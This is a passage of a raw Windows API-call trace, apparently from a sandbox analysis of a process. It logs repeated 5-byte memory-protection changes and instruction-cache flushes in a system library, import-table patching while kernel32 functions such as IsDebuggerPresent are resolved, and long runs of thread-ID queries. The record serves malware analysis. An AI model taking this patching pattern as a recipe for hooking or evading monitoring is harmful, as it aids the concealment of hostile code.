NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.344] GetCurrentProcess () returned 0xffffffff [0093.344] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773409ec, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.344] GetCurrentProcess () returned 0xffffffff [0093.344] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x773409ec, dwSize=0x5) returned 1 [0093.344] GetCurrentProcess () returned 0xffffffff [0093.344] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773409ec, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.344] GetCurrentProcess () returned 0xffffffff [0093.344] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340a34, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.345] GetCurrentProcess () returned 0xffffffff [0093.345] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340a34, dwSize=0x5) returned 1 [0093.345] GetCurrentProcess () returned 0xffffffff [0093.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340a34, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.345] GetCurrentProcess () returned 0xffffffff [0093.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340b70, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.345] GetCurrentProcess () returned 0xffffffff [0093.345] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340b70, dwSize=0x5) returned 1 [0093.345] GetCurrentProcess () returned 0xffffffff [0093.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340b70, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.345] GetCurrentProcess () returned 0xffffffff [0093.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340dfc, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.346] GetCurrentProcess () returned 0xffffffff [0093.346] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340dfc, dwSize=0x5) returned 1 [0093.346] GetCurrentProcess () returned 0xffffffff [0093.346] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340dfc, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.346] GetCurrentProcess () returned 0xffffffff [0093.346] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340e14, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.346] GetCurrentProcess () returned 0xffffffff [0093.346] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340e14, dwSize=0x5) returned 1 [0093.346] GetCurrentProcess () returned 0xffffffff [0093.346] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340e14, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.346] GetCurrentProcess () returned 0xffffffff [0093.346] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340f60, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.346] GetCurrentProcess () returned 0xffffffff [0093.347] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340f60, dwSize=0x5) returned 1 [0093.347] GetCurrentProcess () returned 0xffffffff [0093.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340f60, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.347] GetCurrentProcess () returned 0xffffffff [0093.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7734146c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.347] GetCurrentProcess () returned 0xffffffff [0093.347] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7734146c, dwSize=0x5) returned 1 [0093.347] GetCurrentProcess () returned 0xffffffff [0093.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7734146c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.347] GetCurrentProcess () returned 0xffffffff [0093.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341738, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.347] GetCurrentProcess () returned 0xffffffff [0093.347] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341738, dwSize=0x5) returned 1 [0093.347] GetCurrentProcess () returned 0xffffffff [0093.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341738, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.348] GetCurrentProcess () returned 0xffffffff [0093.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773417d0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.348] GetCurrentProcess () returned 0xffffffff [0093.348] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x773417d0, dwSize=0x5) returned 1 [0093.348] GetCurrentProcess () returned 0xffffffff [0093.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773417d0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.348] GetCurrentProcess () returned 0xffffffff [0093.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341864, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.348] GetCurrentProcess () returned 0xffffffff [0093.348] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341864, dwSize=0x5) returned 1 [0093.348] GetCurrentProcess () returned 0xffffffff [0093.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341864, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.349] GetCurrentProcess () returned 0xffffffff [0093.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341a48, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.349] GetCurrentProcess () returned 0xffffffff [0093.349] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341a48, dwSize=0x5) returned 1 [0093.349] GetCurrentProcess () returned 0xffffffff [0093.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341a48, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.349] GetCurrentProcess () returned 0xffffffff [0093.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341e60, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.349] GetCurrentProcess () returned 0xffffffff [0093.349] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341e60, dwSize=0x5) returned 1 [0093.349] GetCurrentProcess () returned 0xffffffff [0093.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341e60, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.350] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0093.350] GetProcAddress (hModule=0x76e10000, lpProcName="CreateActCtxW") returned 0x76e29247 [0093.350] VirtualProtect (in: lpAddress=0x76e29247, dwSize=0x5, flNewProtect=0x4, lpflOldProtect=0x28f90c | out: lpflOldProtect=0x28f90c*=0x20) returned 1 [0093.350] VirtualProtect (in: lpAddress=0x76e29247, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x28f90c | out: lpflOldProtect=0x28f90c*=0x4) returned 1 [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.350] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.351] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.352] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] GetCurrentThreadId () returned 0x24c [0093.353] SetEvent (hEvent=0xd4) returned 1 [0093.353] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0093.353] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0093.353] VirtualProtect (in: lpAddress=0x411000, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.354] VirtualProtect (in: lpAddress=0x411000, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.354] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0093.354] VirtualProtect (in: lpAddress=0x411004, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.354] VirtualProtect (in: lpAddress=0x411004, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.354] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0093.354] VirtualProtect (in: lpAddress=0x411008, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.355] VirtualProtect (in: lpAddress=0x411008, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.355] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0093.402] VirtualProtect (in: lpAddress=0x41100c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.403] VirtualProtect (in: lpAddress=0x41100c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.403] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0093.403] VirtualProtect (in: lpAddress=0x411010, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.403] VirtualProtect (in: lpAddress=0x411010, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.403] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0093.403] VirtualProtect (in: lpAddress=0x411014, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.403] VirtualProtect (in: lpAddress=0x411014, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.404] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0093.404] VirtualProtect (in: lpAddress=0x411018, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.404] VirtualProtect (in: lpAddress=0x411018, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.404] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0093.404] VirtualProtect (in: lpAddress=0x41101c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.404] VirtualProtect (in: lpAddress=0x41101c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.404] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0093.404] VirtualProtect (in: lpAddress=0x411020, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.405] VirtualProtect (in: lpAddress=0x411020, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.405] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSListHead") returned 0x773594a4 [0093.405] VirtualProtect (in: lpAddress=0x411024, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.405] VirtualProtect (in: lpAddress=0x411024, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.405] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0093.405] VirtualProtect (in: lpAddress=0x411028, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.405] VirtualProtect (in: lpAddress=0x411028, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.405] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0093.406] VirtualProtect (in: lpAddress=0x41102c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.406] VirtualProtect (in: lpAddress=0x41102c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.406] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0093.406] VirtualProtect (in: lpAddress=0x411030, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.406] VirtualProtect (in: lpAddress=0x411030, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.406] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0093.406] VirtualProtect (in: lpAddress=0x411034, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.406] VirtualProtect (in: lpAddress=0x411034, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.407] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0093.407] VirtualProtect (in: lpAddress=0x411038, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.407] VirtualProtect (in: lpAddress=0x411038, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.407] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0093.407] VirtualProtect (in: lpAddress=0x41103c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.407] VirtualProtect (in: lpAddress=0x41103c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.407] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0093.407] VirtualProtect (in: lpAddress=0x411040, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.408] VirtualProtect (in: lpAddress=0x411040, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.408] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0093.408] VirtualProtect (in: lpAddress=0x411044, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.408] VirtualProtect (in: lpAddress=0x411044, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.408] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0093.408] VirtualProtect (in: lpAddress=0x411048, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.408] VirtualProtect (in: lpAddress=0x411048, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.409] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0093.409] VirtualProtect (in: lpAddress=0x41104c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.409] VirtualProtect (in: lpAddress=0x41104c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.409] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0093.409] VirtualProtect (in: lpAddress=0x411050, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.409] VirtualProtect (in: lpAddress=0x411050, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.409] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0093.409] VirtualProtect (in: lpAddress=0x411054, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.410] VirtualProtect (in: lpAddress=0x411054, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.410] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0093.410] VirtualProtect (in: lpAddress=0x411058, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.410] VirtualProtect (in: lpAddress=0x411058, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.410] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0093.410] VirtualProtect (in: lpAddress=0x41105c, 